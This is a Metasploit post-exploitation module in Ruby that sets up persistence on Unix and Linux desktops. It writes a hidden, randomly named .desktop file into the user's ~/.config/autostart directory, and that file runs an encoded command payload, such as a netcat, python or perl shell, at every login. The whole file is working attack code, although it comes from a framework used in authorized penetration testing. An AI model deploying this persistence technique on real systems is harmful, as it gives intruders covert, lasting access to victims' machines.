Autostart Desktop Item Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Autostart Desktop Item Persistence',
      'Description'    => %q(
        This module will create an autostart entry to execute a payload.
        The payload will be executed when the users logs in.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Eliott Teissonniere' ],
      'Platform'       => [ 'unix', 'linux' ],
      'Arch'           => ARCH_CMD,
      'Payload'        => {
        'BadChars'   => '#%\n"',
        'Compat'     => {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic python netcat perl'
        }
      },
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
      'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
      'Targets'        => [ ['Automatic', {}] ],
      'DefaultTarget'  => 0
    ))

    register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])
  end

  def exploit
    name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)

    home = cmd_exec('echo ~')

    path = "#{home}/.config/autostart/#{name}.desktop"

    print_status('Making sure the autostart directory exists')
    cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists

    print_status("Uploading autostart file #{path}")

    write_file(path, [
      "[Desktop Entry]",
      "Type=Application",
      "Name=#{name}",
      "NoDisplay=true",
      "Terminal=false",
      "Exec=/bin/sh -c \"#{payload.encoded}\""
    ].join("\n"))
  end
end